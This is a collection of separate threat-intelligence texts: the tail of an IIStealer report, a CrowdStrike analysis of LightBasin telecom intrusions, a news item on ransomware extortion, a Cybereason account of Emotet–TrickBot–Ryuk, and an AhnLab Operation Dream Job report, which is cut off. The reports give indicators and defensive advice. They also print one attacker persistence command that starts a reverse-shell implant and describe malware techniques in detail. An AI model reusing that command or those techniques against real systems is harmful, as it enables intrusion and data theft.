`%windir%\system32\inetsrv\config\ApplicationHost.config`, as well as the `%windir%\system32\inetsrv\` and `%windir%\SysWOW64\inetsrv` folders to verify that all the installed native modules are legitimate. For web developers: Even if you don’t have control over the IIS server where your web service is hosted, you can still take steps to reduce the impact on users of your web service in the case of a compromise: - Do not send the password itself to the server; use a protocol such as Secure Remote Password (SRP) to authenticate users without the need for the unencrypted password to be transmitted to the server. - Avoid unnecessarily sending sensitive information from the web application; use payment gateways. If you identify a successful compromise, notify all parties involved in any security breach so they can take quick action. For consumers: From the visitor’s perspective, it is impossible to know whether an IIS server is compromised, but these tips will help you reduce the risk: - Be careful about where you enter your credit card number. Consider using payment gateways by trusted third-party providers on e-commerce websites whose reputation is unknown to you. - Keep an eye on your credit statement for small or unusual payments. - If you spot something unusual, notify your bank immediately. Additional technical details on the malware, Indicators of Compromise, and YARA rules can be found in our comprehensive white paper, and on GitHub. For any inquiries, or to make sample submissions related to the subject, contact us at: [email protected]. ## Indicators of Compromise (IoCs) **ESET detection names:** - Win64/BadIIS.F - Win64/BadIIS.O **SHA-1:** - 706EAB59C20FCC9FBC82C41BF955B5C49C644B38 - 7A2FA07A7DC05D50FE8E201A750A3DC7F22D6549 - A1C5E7424E7C4C4C9902A5A1D97F708C6BB2F53A **Filenames and paths:** - dir.dll - isapicache___.dll - isapicache_.dll_ - C:\Windows\Temp\cache.txt **Network indicators:** - Targeted URIs: `/checkout/checkout.aspx`, `/checkout/Payment.aspx`, `/privacy.aspx` - HTTP header: X-IIS-Data ## MITRE ATT&CK Techniques | Tactic | ID | Name | Description | |--------------|-----------------|-----------------------------|-------------| | Resource | T1587.001 | Develop Capabilities: | IIStealer is a custom-made malware family. | | Execution | T1569.002 | System Services: | IIS server persists as a Windows service. | | Persistence | T1546 | Event Triggered Execution | IIStealer is loaded by IIS Worker Process (w3wp.exe) when the IIS server receives an inbound HTTP request. | | Defense | T1036.005 | Masquerading: | IIStealer has been deployed under the name dir.dll, in an attempt to mimic a legitimate Microsoft IIS module called dirlist.dll. | | | T1027 | Obfuscated Files or Information | IIStealer uses string stacking in an attempt to avoid some string-based detection. | | Credential | T1056 | Input Capture | IIStealer intercepts network traffic between the IIS server and its clients to collect sensitive information such as credit card details. | | Collection | T1119 | Automated Collection | IIStealer automatically collects information from inbound HTTP requests, such as credit card details. | | | T1074.001 | Data Staged: Local Data | IIStealer uses a local file to stage collected information. | | Command | T1071.001 | Application Layer Protocol: | Adversaries send HTTP requests to the compromised IIS server to control IIStealer. | | Exfiltration | T1041 | Exfiltration Over C2 Channel | IIStealer uses its C&C channel to exfiltrate collected data: HTTP requests are sent by the adversary to the compromised IIS server. |
# LightBasin: A Roaming Threat to Telecommunications Companies LightBasin (aka UNC1945) is an activity cluster that has been consistently targeting the telecommunications sector at a global scale since at least 2016, leveraging custom tools and an in-depth knowledge of telecommunications network architectures. Recent findings highlight this cluster’s extensive knowledge of telecommunications protocols, including the emulation of these protocols to facilitate command and control (C2) and utilizing scanning/packet-capture tools to retrieve highly specific information from mobile communication infrastructure, such as subscriber information and call metadata. The nature of the data targeted by the actor aligns with information likely to be of significant interest to signals intelligence organizations. CrowdStrike Intelligence assesses that LightBasin is a targeted intrusion actor that will continue to target the telecommunications sector. This assessment is made with high confidence and is based on tactics, techniques, and procedures (TTPs), target scope, and objectives exhibited by this activity cluster. There is currently not enough available evidence to link the cluster’s activity to a specific country-nexus. ## Background CrowdStrike Services, CrowdStrike Intelligence, and Falcon OverWatch™ have investigated multiple intrusions within the telecommunications sector from a sophisticated actor tracked as the LightBasin activity cluster, also publicly known as UNC1945. Active since at least 2016, LightBasin employs significant operational security (OPSEC) measures, primarily establishing implants across Linux and Solaris servers, with a particular focus on specific telecommunications systems, and only interacting with Windows systems as needed. LightBasin’s focus on Linux and Solaris systems is likely due to the combination of critical telecommunications infrastructure running on those operating systems, in addition to the comparatively lax security measures and monitoring solutions on Linux/Solaris systems that are typically in place on Windows operating systems. LightBasin managed to initially compromise one of the telecommunications companies in a recent CrowdStrike Services investigation by leveraging external DNS (eDNS) servers, which are part of the General Packet Radio Service (GPRS) network and play a role in roaming between different mobile operators, to connect directly to and from other compromised telecommunications companies’ GPRS networks via SSH and through previously established implants. CrowdStrike identified evidence of at least 13 telecommunications companies across the world compromised by LightBasin dating back to at least 2019. ## GPRS eDNS Servers LightBasin initially accessed the first eDNS server via SSH from one of the other compromised telecommunications companies, with evidence uncovered indicative of password-spraying attempts using both extremely weak and third-party-focused passwords (e.g., huawei), potentially helping to facilitate the initial compromise. Subsequently, LightBasin deployed their SLAPSTICK PAM backdoor on the system to siphon credentials to an obfuscated text file. As part of early lateral movement operations to further their access across the network, LightBasin then pivoted to additional systems to set up more SLAPSTICK backdoors. Later, LightBasin returned to access several eDNS servers from one of the compromised telecommunications companies while deploying an ICMP traffic signaling implant tracked by CrowdStrike as Ping Pong under the filename `/usr/bin/pingg`, with persistence established through the modified SysVinit script `/etc/rc.d/init.d/sshd` through the following additional line: ``` cd /usr/bin && nohup ./pingg >/dev/null 2>&1 & ``` This implant waits for a magic ICMP echo request, which, when sent to the system, established a TCP reverse shell to an IP address and port specified within the magic packet. The `/bin/bash` process spawned by Ping Pong masquerades under the process name `httpd`. eDNS servers are usually protected from general external internet access by firewalls; the magic packet that Ping Pong listens for would most likely have to be sent from other compromised GPRS network infrastructure. CrowdStrike Services observed reverse shells that had been spawned from this implant, which communicated with a server owned by a different compromised telecommunications company in another part of the world—typically connecting to the remote system on TCP port 53, which is the port primarily used for DNS. These efforts further indicate the actor’s continued attempts to disguise their activity as legitimate traffic. Alongside the deployment of the Ping Pong implant, LightBasin added iptables rules to the eDNS server that ensured SSH access to the server from five of the compromised telecommunications companies. The actor also replaced the legitimate iptables binary with a trojanized version (SHA256: 97d4c9b5750d614face73d11ba8532e53594332af53f4c07c1543195225b76eb) that would filter out output from iptables that included the first two octets of the IP addresses belonging to the compromised telecommunications companies. These actions make it more difficult for administrators and analysts to identify the firewall rules through review of iptables output alone. Indicators relating to this utility are highlighted in Table 1. | File Path | Description | |-----------|-------------| | /usr/local/sbin/iptables | Trojanized iptables binary that rep | | /usr/sbin/iptablesDir/iptables | Legitimate iptables binaries in a n | | /usr/sbin/iptablesDir/iptables-apply | | | /usr/sbin/iptablesDir/iptables-batch | | | /usr/sbin/iptablesDir/iptables-multi | | | /usr/sbin/iptablesDir/iptables-restore | | | /usr/sbin/iptablesDir/iptables-save | | **Table 1. Trojanized and legitimate iptables file details** ## Serving GPRS Support Node (SGSN) Emulation LightBasin uses a novel technique involving the use of SGSN emulation software to support C2 activities in concert with Tiny Shell. SGSNs are essentially GPRS network access points, and the emulation software allows the adversary to tunnel traffic via this telecommunications network. Tiny Shell is an open-source Unix backdoor used by multiple adversaries; however, LightBasin uniquely combined this implant with the publicly available SGSN emulator `sgsnemu` through a bash script. This script constantly ran on the system, but only executed certain steps between 2:15 and 2:45 UTC each day. This window was specified via command-line arguments. During this window, the script performed the following steps in a loop: 1. Execute Tiny Shell to communicate with an actor-controlled C2 IP address hosted by the virtual private server (VPS) provider Vultr. 2. Add a route to the Tiny Shell C2 on the interface `tun0`. 3. Check for connectivity to the Tiny Shell C2 via `ping`. 4. If connectivity to the IP address fails, the script executes the SGSN emulator in a loop, attempting to connect to a set of nine pairs of International Mobile Subscriber Identity (IMSI) and Mobile Subscriber Integrated Services Digital Network (MSISDN) numbers that are used as arguments to the SGSN emulator. These numbers are required to generate Packet Data Protocol (PDP) context requests for connection to a Gateway GPRS Support Node (GGSN), which will then forward traffic to the C2 IP address. Once a connection is established, the SGSN emulator creates a connection to the GGSN via the GPRS Tunneling Protocol (GTP), and utilizes the interface `tun0` for the connection. The Tiny Shell implant then uses `tun0`, as mentioned above. 5. If a successful connection has not been made by the end of the 30-minute window, the script kills both the SGSN emulator and the Tiny Shell implant. In short, the SGSN emulator is used to tunnel Tiny Shell C2 traffic between the C2 server and the infected host via GTP through a GGSN. The script is used as a persistence mechanism; it runs continually, but attempts to establish a tunnel to each of the specified mobile stations, which, in turn, act as tunnels to the Tiny Shell C2 server. The script runs for only 30 minutes each day, culminating in a similar effect to a scheduled job. CrowdStrike Intelligence assesses that this sophisticated form of C2 is likely an OPSEC measure. This assessment carries moderate confidence, as GTP-encapsulated Tiny Shell C2 traffic is less anomalous within the environment of a global mobile communications network due to its use of a protocol native to the telecommunications infrastructure that is compromised. Additionally, GTP-encapsulated traffic is potentially subject to less inspection and restrictions by network security solutions. ## Additional Malware and Utilities **CordScan:** This executable is a network scanning and packet capture utility that contains built-in logic relating to the application layer of telecommunications systems, which allows for fingerprinting and the retrieval of additional data when dealing with common telecommunications protocols from infrastructure such as SGSNs. SGSNs could be targets for further collection by the adversary, as they are responsible for packet data delivery to and from mobile stations and also hold location information for registered GPRS users. CrowdStrike identified multiple versions of this utility, including a cross-compiled version for systems running on ARM architecture, such as Huawei’s commercial CentOS-based operating system Euler OS. LightBasin’s ability to fingerprint various brands of telecommunications products and compile tools for various architectures likely indicates robust research and development capabilities to target vendor-specific infrastructure commonly seen in telecommunications environments. This range of capability would also be consistent with a signals intelligence organization with a need to respond to collection requirements against a diverse set of target environments. **SIGTRAN Slator:** This executable provides LightBasin with the ability to transmit data via telecommunications-specific protocols, while monitoring the data being transmitted. SIGTRAN Slator is a Linux ELF binary capable of sending and receiving data via various SIGTRAN protocols, which are used to carry public switched telephone network (PSTN) signaling over IP networks. This signaling data includes valuable metadata such as telephone numbers called by a specific mobile station. Data transmitted to and from SIGTRAN Slator via these protocols is also sent to a remote C2 host that connects to a port opened by the binary. This allows the remote C2 server to siphon data flowing through the binary and send data to SIGTRAN Slator from the C2 to be re-sent via a SIGTRAN protocol. Notably, data that is sent to and from the remote C2 is encrypted with the hard-coded XOR key `wuxianpinggu507`. This Pinyin translates to “unlimited evaluation 507” or “wireless evaluation 507.” “Wireless evaluation” is likely the correct translation, as the malware is targeting telecommunications systems. The identification of a Pinyin artifact indicates the developer of this tool has some knowledge of the Chinese language; however, CrowdStrike Intelligence does not assert a nexus between LightBasin and China. **Fast Reverse Proxy:** This open-source utility is a reverse proxy used by LightBasin to permit general access to the eDNS server via an actor-controlled C2 IP address hosted by the VPS provider Vultr. **Microsocks Proxy:** This open-source utility is a lightweight SOCKS5 proxy server, typically used by LightBasin to pivot to systems internally. **Proxy Chains:** This open-source utility is capable of chaining proxies together and forcing network traffic through said chain of proxies, even if the program generating the traffic does not have proxy support. It utilizes a configuration file to specify proxies in use. The recovered configuration file contained a mixture of local IP addresses, IP addresses belonging to Vultr, and IP addresses belonging to eight different telecommunications organizations from around the world. Some of the tools and TTPs observed by CrowdStrike Services during investigations deviate from the more sophisticated, OPSEC-aware behavior of LightBasin observed in the past, such as by not encrypting binaries using LightBasin’s binary packer publicly known as STEELCORGIE. The tools and TTPs cataloged in this blog post were observed in congruence with the usage of SLAPSTICK on select eDNS servers at the start of the intrusion, as well as during periods of strong time correlation, when SSH access from multiple compromised telecommunications companies and artifacts indicative of LightBasin tool usage overlapped. ## Recommendations It is not surprising that servers would need to communicate with one another as part of roaming agreements between telecommunications companies; however, LightBasin’s ability to pivot between multiple telecommunications companies stems from permitting all traffic between these organizations without identifying the protocols that are actually required. As such, the key recommendation here is for any telecommunications company to ensure that firewalls responsible for the GPRS network have rules in place to restrict network traffic to only those protocols that are expected, such as DNS or GTP. If already the victim of a LightBasin intrusion, simply restricting network traffic will not solve the problem as LightBasin has displayed the ability to utilize common telecommunications protocols such as GTP for command and control. In this event, CrowdStrike recommends an incident response investigation that includes the review of all partner systems alongside all systems managed by the organization itself. Similarly, if an organization wishes to determine whether they’ve fallen victim to LightBasin, any compromise assessment must also include a review of all of the aforementioned systems. Further, as it is a common situation where parts of the network may in fact be managed by a third-party managed service provider as opposed to the telecommunications company itself, an evaluation of security controls in place with the partner should be undertaken to ensure that the systems are sufficiently protected. CrowdStrike Services investigations commonly reveal a lack of any monitoring or security tooling on telecommunications core network systems. While the deployment of security tooling to real-time operating systems is generally limited, other Unix-based operating systems that support the core telecommunications network services are typically targeted by LightBasin and should have some basic security controls and logging in place (e.g., SSH logging forwarded to a SIEM, endpoint detection and response (EDR) for process execution, file integrity monitoring (FIM) for recording file changes of key configuration files). It is also important to ensure that appropriate incident response plans are in place that take into account situations involving partner-managed systems within the network in the event that such an incident is identified. This incident response plan should contain the roles and responsibilities of third-party managed service providers to ensure acquisition of forensic artifacts from third-party equipment not directly under the management of the telecommunications operator themselves. Finally, given that companies within the telecommunications vertical are extensively targeted by highly advanced state-sponsored adversaries on a constant basis, these organizations need to have access to up-to-date and comprehensive threat intelligence resources so they can understand the threats facing the industry. This intelligence should also provide insights into the TTPs of adversaries that telecommunications companies are likely to encounter, across both the corporate network and critical telecommunications infrastructure, so that these insights can then be used to further augment detection mechanisms and inform on decisions regarding existing security controls. ## Conclusion Securing a telecommunications organization is by no means a simple task, especially with the partner-heavy nature of such networks and the focus on high-availability systems; however, with the clear evidence of a highly sophisticated adversary abusing these systems and the trust between different organizations, focusing on improving the security of these networks is of the utmost importance. Given the significant intelligence value to any state-sponsored adversary that’s likely contained within telecommunications companies, CrowdStrike expects these organizations to continue to be targeted.
# Ransomware Gang Turns to Revenge Porn At least one ransomware gang has taken a rare and highly invasive step in order to convince its victims to pay: leaking nude images allegedly uncovered as part of their hack of a target company. The news presents an escalation in the world of ransomware and digital extortion, and comes as the U.S. government and other countries discuss new measures to curb the spike in ransomware incidents. Ransomware groups have recently targeted, and in some cases extracted payment from, the Colonial Pipeline Company, meat producer JBS, and the Irish healthcare system. Locking down computers with ransomware can already have a substantial impact on business operations; leaking information on top of that can present victims with another risk. But posting nude images publicly on the internet threatens to make extortion of organizations a much more personal matter. Motherboard is not naming the ransomware group responsible for leaking the images, so as to not contribute to their likely goal of intimidating the specific victim, or to bolster their reputation generally. As Motherboard has reported by speaking directly to digital extortionists, some hackers deliberately cater their own image to appear more threatening to victims. Motherboard is also not naming the targeted company nor any of the impacted individuals. But there is still a public interest in showing that ransomware groups may continue to push their tactics to extremes, and what those steps may mean for policymakers, hacking victims, and law enforcement. The ransomware group regularly posts stolen documents and files from target companies on its dark web site. Generally, this may be done after a victim has not agreed to pay an initial ransom amount. Hackers then steadily leak material they've obtained, and threaten to keep doing so until the target pays. In this case, the group seemingly added more material from the victim to their site, and eventually posted the nude images of a woman. Typically, the sort of material that ransomware groups leak includes trade secrets, confidential business documents, and emails. In rare cases, hackers have leveraged nude images for extortion. In 2017, the hacking group known as The Dark Overlord stole images from a plastic surgery in the UK and sent those to me. Many of the images were explicit in nature. At the time, the group only threatened to distribute the images further. The intent, it appears, was to try and convince the surgery clinic to pay an extortion amount. In this new extortion case, the ransomware group has posted the images publicly. Lawmakers have pushed President Biden to pressure Russia around its harboring of ransomware groups. Biden said during the recent G-7 summit of world leaders that he was "open" to Putin's alleged proposal about each country turning over cybercriminals. "We call on all states to urgently identify and disrupt ransomware criminal networks operating from within their borders, and hold those networks accountable for their actions," a joint statement issued at the end of the summit reads.
# Triple Threat: Emotet Deploys TrickBot to Steal Data & Spread Ryuk **Written By** Cybereason Nocturnus April 2, 2019 | 15 minute read Research by Noa Pinkas, Lior Rochberger, and Matan Zatz Cybereason’s Active Monitoring and Hunting teams have uncovered a severe threat that uses the Emotet trojan and the TrickBot trojan to deliver the Ryuk ransomware. During the past few weeks, the Cybereason Active Monitoring team has encountered multiple incidents of attempted TrickBot infection. Among these incidents and investigations, the team observed Ryuk ransomware infection attempts as well. The nature of Ryuk deployment and execution tactics, techniques, and procedures can vary across incidents. However, the Cybereason Active Monitoring team was able to identify that machines infected with TrickBot were susceptible to a future infection with Ryuk. Though TrickBot is known as a banking trojan, in this campaign its banking capabilities are one of many abilities. In this instance, it is able to communicate with a C2 server to collect and exfiltrate a range of sensitive data. It is also able to deploy the Ryuk ransomware, which encrypts files throughout the network and increases the damage to the end user. These threats result in brand degradation, damage to an organization, and damage to the individual. ## Security Recommendations - Educate your team on how to correctly handle suspicious emails to prevent initial downloading or dropping of malware. - In order to protect against lateral movement, do not use privileged accounts, avoid RDPs without properly terminating the session, do not store passwords in plain text, deploy good authentication practices, disable unnecessary share folders, and change the names of the default share folders used in your organization. - Make sure your systems are patched, especially CVE-2017-0144, to prevent the propagation of TrickBot and other malware. - Disable macros across the environment. - Follow Microsoft’s security advisory update on improving credentials protection and management in your organization. - Proactively approach security by performing hunts and searching for suspicious behavior before an incident starts. - Remove any persistence mechanisms that may have been used by any of the malware mentioned here in order to mitigate the threat. ## WHAT IS Ryuk RANSOMWARE Ryuk ransomware was first detected in August 2018 in targeted attacks through an unknown infection method. The ransomware scoped out a target, gained access via Remote Desktop Services or other direct methods, stole credentials, and then targeted high-profile data and servers to extort the highest ransom possible. By January 2019, an active campaign of the Ryuk ransomware was discovered targeting victims who were previously attacked by TrickBot. Another recently discovered campaign of Emotet-TrickBot-Ryuk was used to deploy and initiate the Ryuk ransomware. That differs from the campaign mentioned in this research, as this campaign describes each phase of the attack in detail, as well as the use of TrickBot to steal sensitive information before deploying Ryuk to ransom victims' data. ## WHAT IS TRICKBOT Although trojans typically target individuals to steal bank account credentials, the TrickBot trojan was being used to deliver secondary malware in a similar way to what is detailed in this research. The difference from the campaign mentioned in this research is that as this campaign uses TrickBot to steal sensitive information, it also deploys Ryuk to ransom victims' data. Criminals targeting large enterprises used spam emails to deliver the Emotet trojan in order to distribute the TrickBot malware. Once a machine is infected with the TrickBot malware, it begins to steal sensitive information and the criminal group tries to determine if the company is an industry target. If so, they deliver the Ryuk ransomware. ## WHAT IS EMOTET Emotet was discovered in 2014 and used as a trojan by threat actors to steal banking credentials. More recently, it has been used as a dropper of other sophisticated malware. Emotet has introduced several advanced capabilities over the years using a modular structure that features multiple modules including an installation module, a banking module, and a DDoS module. Emotet’s main distribution method remains phishing emails, which use various social engineering techniques to fool a user into clicking a malicious link or downloading a malicious Microsoft Office file. ### Phase One: Emotet Downloads TrickBot The first stage of the attack starts with a weaponized Microsoft Office document attached to a phishing email. This file contains a malicious, macro-based code. Once the user opens the document, the malicious file will run cmd and execute a PowerShell command. The PowerShell command attempts to download the Emotet payload. In recent attacks, Cybereason’s research team has spotted Emotet adapting in order to be used as a dropper for the TrickBot banking trojan. This is an expansion from its previous information-stealing capabilities. The execution flow of Emotet starts within outlook.exe, where the phishing email was received. Following that, winword.exe opens the malicious attachment from the email and executes a cmd to run PowerShell. This command downloads and executes the Emotet payload. When the Emotet payload executes, it looks to continue its malicious activity by further infecting and gathering information on the affected machine. It initiates the download and execution of the TrickBot trojan by communicating with and downloading from a preconfigured and remote malicious host. ### Phase Two: Lateral Movement TrickBot is a modular trojan that unpacks itself in memory. It is often called a banking trojan; however, its modular structure allows it to freely add new functionalities outside of collecting banking data. Collecting bank data is just one of its many potential modules. In previous iterations, TrickBot was fairly simple. However, it has been improved over the years to include extra modules and advanced capabilities like password collecting and detection evasion. When TrickBot executes, it creates an installation folder under `C:\user\AppData\Roaming\%Name%`, where %Name% is dependent on the bot version. This folder contains a copy of the malware with a slightly different name, a settings.ini file, and a Data folder. In order to ensure persistence, TrickBot creates a scheduled task and a service. The scheduled task's name is dependent on the variant of the malware; in this case, it is named `\NetvalTask`. The service registry entry name is randomly generated and located under the services hive (`\HKLM\System\CurrentControlSet\Services\{Random_name}\imagePath`). The malicious modules are reflectively injected into legitimate processes including svchost in order to evade detection. In order to reduce the likelihood of being detected by an antimalware product, TrickBot tries to disable and delete Windows Defender. ### Loading and Running TrickBot’s Malicious Modules The malicious modules are reflectively loaded into svchost. Below are descriptions of the modules and how they fit and fulfill their role in TrickBot’s malicious activity. - **module64.dll**: This is the TrickBot dropper. It downloads the TrickBot loader mswvc.exe and installs it locally or shared on the network for lateral movement. The module makes a connection over HTTP to a hardcoded address. From there, it creates a file locally with a payload masquerading as a PNG file. - **module.dll**: This module steals data from the browser, including cookies, HTML5 local storage, browsing history, Flash Local Shared Objects, and URL hits. TrickBot injects module.dll into svchost, which creates a hidden virtual instance of the victim's desktop. - **vncsrv.dll**: TrickBot uses a hidden VNC injected into svchost.exe as a remote administration tool. The VNC allows an attacker to remotely view and control a victim’s desktop without the victim noticing. - **socks5dll.dll**: This module communicates with the TrickBot C2 server using the socks protocol to tunnel data and connections through the victim’s host. It supports the tunneling of DNS requests, which eliminates the threat of DNS leaks. - **systemInfo.dll**: This module helps the attacker determine if the affected machine meets the criteria for infection with the Ryuk ransomware. TrickBot uses this module to harvest system information off of the infected machine. - **mailsearcher.dll**: This module searches all files on disk and compares their extensions to a predefined list. It also uses the WinHTTP library in order to send data over HTTP to the C2 server. - **loader.dll**: This module’s purpose is solely to ensure that other modules will be successfully loaded reflectively. - **pwgrab.dll**: This module harvests saved user credentials from browsers, registry keys, and other programs such as Outlook. - **core-dll.dll**: This is the main TrickBot bot. There are two layers of protection the malware must remove before it can be used. - **dll.dll**: TrickBot’s reverse-shell module is responsible for reconnaissance and launching Powershell Empire to perform reconnaissance activities. - **screenLocker_x64.dll**: This module helps TrickBot with its reconnaissance and credential harvesting process. It targets WDigest credentials stored in LSA memory in plain text. - **spreader_x64.dll**: This module contains two of the main capabilities of TrickBot: spreading by exploiting the EternalBlue vulnerability and using mimikatz to perform credential theft. ### Phase Three: Post-exploitation Activity Once the machine is infected with TrickBot, the attackers check to see if the target machine is part of an industry they are looking to target. If it is, they download an additional payload and use the admin credentials stolen using TrickBot to perform lateral movement and reach the assets they wish to infect. The attacker logs into a domain controller and copies tools into a temporary directory. After gathering a list of domain controllers and targeted servers in the environment, they test if there is a connection available using ping.exe and mstsc.exe (RDP). Once the attacker has a connection, they start to spread the Ryuk payload through the network via Windows administrative shares. The attacker drops a few files in the hidden share, including a .bat script COPY.bat. This script lists one or more of the targeted machines that the attacker located, a copy of psexec.exe, and the Ryuk dropper Ryuk.exe. The attacker runs the .bat script, which uses the psexec.exe file with the stolen admin credentials to gain a remote shell and copy the malicious Ryuk payload to a temporary folder in the remote hosts. The ransomware dropper Ryuk.exe checks the system architecture and drops its main payload accordingly. While dropping the payload, it generates a random name made up of five letters based on the Srand() function. The payload is stored under this name in a location dependent on the OS version on the target machine. The dropper also stops multiple services related to antimalware products by using the net stop command and kills multiple processes related to the antimalware product using the taskkill command. The main Ryuk payload is responsible for injecting into other processes and achieving persistence using the registry. The registry key is under the Run hive, and named svchos. It is responsible for running the Ryuk payload every time the current user logs on. The malware creates a snapshot of all running processes and compares the handle of the process to the handle of lsass.exe, csrss.exe, and explorer.exe. If the handle is not one of the above, the malware injects the malicious payload into the remote process. Ryuk encrypts files on the disk and changes the extension to .RYK. It drops a ransom note RyukReadMe.txt created with notepad.exe in every processed folder. ## Conclusion TrickBot is classified as a banking trojan, but the banking-related capability is just one of its many abilities. TrickBot is able to communicate with a C2 server as well as collect and exfiltrate sensitive data ranging from banking credentials, usernames and passwords, and personal data. An attacker with this information can easily destroy trust in a business, wreck the reputation of a brand, or compromise individuals and cost companies money. Once Ryuk infects the machine, it starts to encrypt files and spreads through the network to infect more machines. This increases the damage and the likelihood that the victim will be willing to pay the ransom. This threat, due to its advanced capabilities and spreading ability, can cause a great deal of damage to an organization, from loss of money to brand degradation.
# Operation Dream Job's Campaign to Victimize Job Seekers in Korea The attack against job seekers in the aerospace and defense industry was first discovered in 2019. This attack was dubbed ‘Operation Dream Job.’ The attacker disguised as recruiters from well-known aerospace and defense companies and exploited business-related SNS accounts to carry out the attacks. Using these accounts, the attackers lured job seekers with job-related posts. Numerous security vendors have published analysis reports regarding this attack under different names. Despite the differences in the reported attack methods and malware strains, the published reports collectively mentioned the connection between the attack and the North-Korean hacking group, ‘Lazarus.’ In January 2021, JPCERT revealed two major malware strains utilized in attacks related to Operation Dream Job: Torisma, which was revealed in November 2020, and Lcpdot, which was recently introduced. AhnLab found that three variants of Lcpdot were signed with the ‘2 TOY GUYS LLC’ certificate and decided to analyze the files signed with the certificate. As a result, variants of Lcpdot malware and other malware were discovered. In this report, AhnLab Security Emergency-response Center (ASEC) will examine the Lcpdot variants used in the Operation Dream Job attack while also going over the attack methods that used malware signed with the ‘2 TOY GUYS LLC’ certificate. ## 1. Analysis of Operation Dream Job ### 1) Characteristics and Connections According to numerous security providers and relevant organizations, the Lazarus group has been continuously attacking the aerospace and defense industries with malicious documents related to employment. These attacks go by various operation names, but ‘Operation Dream Job’ is the most common. Kaspersky categorizes this activity as the DeathNote cluster of the Lazarus group, but the connections are yet to be confirmed. On July 29, 2020, McAfee revealed that the Lazarus group attacked employees in defense industries in countries like the U.S. through Operation North Star. They also stated that the attack was related to attacks that occurred in 2017 and 2019. On August 13, 2020, security provider Clearsky revealed 'Operation Dream Job' that used fake documents related to defense industry recruitment, targeting Israeli defense workers. According to this report, Operation Dream Job is related to 'Operation Sharpshooter,' which McAfee revealed in December 2018, and ‘Operation Interception,' which was an attack campaign against European and Middle Eastern aerospace and defense companies, revealed by ESET in June 2020. On November 5, 2020, McAfee revealed additional information about Operation North Star and confirmed attacks against Australian, Israeli, and Russian IP addresses through C&C server log analysis. Details of Torisma malware analysis were also revealed in the report, but IOC information of the relevant file was not disclosed. On January 26, 2021, JPCERT published 'Operation Dream Job by Lazarus' in their blog. Operation Dream Job is a targeted attack that took place between July and August 2020. On August 13, 2020, Clearsky revealed that the attack targeted aerospace and defense personnel under the disguise of recruitment documents. The article stated that the operation title was the same, and the attacker is believed to be the Lazarus group. Although Clearsky did not mention the attack's connection to Operation Dream Job, the article contained information about Torisma malware, mentioned in ‘Operation North Star: Behind The Scenes,’ an article published by McAfee in November 2020. It also included information on Lcpdot malware, the new malware variant. In January 2021, Google revealed an attack was attempted on their security research, and the C&C server used in the attack was identical to the C&C server that JPCERT had revealed. An additional malware strain connected to the same C&C server was found among the malware strains signed with the certificate associated with other attacks. Some malware strains were identified to be active in the APAC region, and it is believed that activities related to these malware strains will be continually discovered in all regions. ### 2) Attack Method The attack method of Operation Dream Job is not yet fully explained. However, attack cases detailed in other reports suggest a standard method. It involves developing trust with the victim through conversation via social networking services, such as LinkedIn, while impersonating a corporate human resource manager. Then, the attacker will send malware disguised as an employment document. ### 3) Key Malware Strains The two key malware strains of Operation Dream Job revealed by JPCERT are Torisma and Lcpdot. #### (1) Torisma Torisma was first introduced in the article: 'Operation North Star Behind,' published by McAfee in November 2020. Torisma malware is executed via a Word document that includes a malicious macro and is usually packed with Themida. Torisma downloads and executes an additional module from the external server and performs additional functions, including sending information of the corrupted host and executing certain files. #### (2) Lcpdot Lcpdot was not mentioned in McAfee's analysis, but it is a malware that was newly revealed by JPCERT and is also referred to as CookieTime. JPCERT did not reveal the precise connection between Torisma and Lcpdot, but it is assumed that the malware was discovered while investigating security breach cases in Japan. Lcpdot is a downloader similar to Torisma, and some of the samples are protected with VMProtect packer. It receives the RC4 encryption key and base64-encoded C&C server info as an argument. It also uses the Steganography technique to disguise data as GIF files and communicate. ASEC could not confirm the features of the additionally downloaded module during the analysis. Thus details of its additional features remain unconfirmed. All three Lcpdot malware variants were digitally signed with the '2 TOY GUYS LLC' certificate. ### 4) Additional Activities Since Lcpdot malware files are collectively signed with an identical digital certificate, ASEC analyzed the files signed with the certificate, investigated variants of the malware, and confirmed additional attack cases. | Date | Attack Target | Details | |------------|---------------|---------| | Mar 2020 | ? (Korea) | ntuser.exe, variant of early Lcpdot | | Mar 2020 | ? (Korea) | Disguised as CitrixWorkspace file | | Jan 2021 | ? (Oman) | Collected with igfxaudio.exe | ## 2. Analysis of ‘2 Malware Signed with TOY GUYS LLC’ Certificate As mentioned above, ASEC analyzed files signed with the '2 TOY GUYS LLC' certificate, and all signed files were confirmed to be malware. Two samples in Table 2 were collected in Korea and one sample from Oman. | Date | Hash | File Name | Attack Target | |------------|-------------------------------------------|------------------------------------|---------------| | Mar 2020 | 06adca7a28b6d1d983912f7f544ee413 | ntuser.exe | ? (Korea) | | Mar 2020 | 5b831eaed711d5c4bc19d7e75fcaf46e | citrixvesystem_laptop.exe | ? (Korea) | | Sep 2020 | d59a0a04abcb38fdb391a09972aa3ff4 | ? | ? | | Oct 2020 | d7ec4cc00b212a4a8c574ce22775eb52 | ? | ? | | Nov 2020 | ec0c8d2cb8da72f4b82ebe3c33c9f24f | d3d10.dll | ? | | Jan 2021 | 22cb24a51394e3ab9b161cd2f6de234f | igfxaudio.exe | ? (Oman) | ### 1) March 2020 - ntuser.exe This malware was first collected on March 6, 2020, and the name of the file is ntuser.exe. (md5: 06adca7a28b6d1d983912f7f544ee413) It was collected in Korea, and the fact that the C&C server address contains a Korean website suggests that Korea is the attack target. Analysis of the malware executed from memory revealed that the main body is encrypted. When malware is executed, it is decrypted and executed in the memory. The code executed in the memory (md5: 195565729c1bc9d18197e1579431824d) is a malware variant of Lcpdot, and the file creation date is February 26, 2020. The sample that JPCERT revealed is believed to be developed around fall 2020 and is a version that is older than the one found in South Korea. Afterward, it gives an encryption key as an argument to run Lcpdot. ### 2) March 2020 - citrixvesystem_laptop.exe The malware collected on March 27, 2020 (md5: 5b831eaed711d5c4bc19d7e75fcaf46e) is disguised as Citrix Workspace program. Citrix Workspace is a digital workspace solution that helps users access company applications and data from a single, central platform. It's a tool that allows users to access the web app, company data, file virtual applications, and desktop. When malware is executed, it attempts to download the file from an industrial supply mall. During testing, ‘Update Data.db' file with the size of 0 bytes was downloaded. It was confirmed that the normal Citrix Workspace file was included in the resource area and was executed after being created. ### 3) Samples Collected in September 2020 The variant of Lcpdot (md5: d59a0a04abcb38fdb391a09972aa3ff4) that was collected in September 2020 was provided by another security provider. ### 4) November 2020 - d3d10.dll The malware that was found in November 2020 is known as ComeBacker. The C&C server of this sample has an identical URL to www.fabioluciani.com, which also happens to be the C&C server of the attack against Google security researchers in January 2021. ### 5) January 2021 - igfxaudio.exe 